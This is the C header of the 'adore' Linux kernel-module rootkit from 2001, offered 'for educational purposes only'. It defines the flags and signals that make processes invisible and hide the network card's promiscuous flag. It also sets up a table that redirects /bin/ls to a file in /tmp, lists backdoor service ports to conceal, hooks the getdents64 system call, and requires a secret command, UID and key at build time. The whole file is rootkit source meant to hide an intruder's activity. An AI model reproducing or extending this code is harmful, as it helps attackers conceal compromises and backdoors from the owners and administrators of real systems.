/*** (C) 2001 by Stealth -- http://spider.scorpions.net/~stealth
 ***	
 ***
 *** (C)'ed Under a BSDish license. Please look at LICENSE-file.
 *** SO YOU USE THIS AT YOUR OWN RISK!
 *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. 
 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
 ***
 ***	-> Use ava to get all the things workin'.
 ***
 *** Greets fly out to all my friends. You know who you are. :)
 *** Special thanks to Shivan for granting root access to his
 *** SMP box for adore-development. More thx to skyper for also
 *** granting root access.
 ***
 ***/
#ifndef __ADORE_H__
#define __ADORE_H__

/* To hide promisc flag */
#define IFF_INVISIBLE 0x1	
#define IFF_HACKED    0x2

/* to hide a pid */
#define PF_INVISIBLE 0x1000000

/* to check whether request is legal */
#define PF_AUTH ((PF_INVISIBLE)<<1)

/* used to set flags of task-struct to
 * PF_INVISIBLE and back
 */
/* whenever you change this, don't forget to do so
 * in libinvisible too!!!
 */
#define SIGINVISIBLE 100
#define SIGVISIBLE   101
#define SIGREMOVE    102

/* The ioctl special-command */
#ifndef ELITE_CMD
#error "No ELITE_CMD given!"
#endif

#ifndef ELITE_UID
#error "No ELITE_UID given!"
#endif

#ifndef ADORE_KEY
#error "No ADORE_KEY given!"
#endif

#define ADORE_VERSION CURRENT_ADORE

/* Very old kernels don't have an equivalent macro... */
#define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s))


/* For full pathname resolve functions (fp_get, fp_put).
 */
struct pathname {
    char    *buf;
    size_t  buflen;
};

/* Data structure to hold file redirection info
 */
struct redirfile {
    char *requested;
    char *redirected;
};

/* BEGIN CHANGE SECTION */

struct redirfile redir[] = {
	{ "/bin/ls", "/tmp/ls" },
	{ "/tmp/1", "/tmp/2" },
	{ NULL, NULL }
};


char *HIDDEN_SERVICES[] = 
	{":hell", ":2222", NULL};

/* END CHANGE SECTION */

/* assigned by init_module */
struct task_struct *init_hook = NULL;

/* own version. kernel's doesn't work in modules */
#undef for_each_task
#define for_each_task(p) for (p = init_hook; (p = p->next_task) != init_hook;)

#ifdef __NR_getdents64

struct linux_dirent64 {
        u64             d_ino;
        s64             d_off;
        unsigned short  d_reclen;
        unsigned char   d_type;
        char            d_name[0];
};

long (*o_getdents64)(unsigned int, void *, unsigned int);
#endif

/* Protypes */
int cleanup_module();
int hide_process(pid_t);
int remove_process(pid_t);
int unhide_process(pid_t);
int strip_invisible();
int unstrip_invisible();
int is_invisible(pid_t);
int is_secret(struct super_block *, struct dirent *);

int my_atoi(const char *);
struct task_struct *my_find_task(pid_t);

extern struct module *module_list;

int fp_get(char *, struct pathname *);
void fp_put(struct pathname *);

#endif /* __ADORE_H__ */
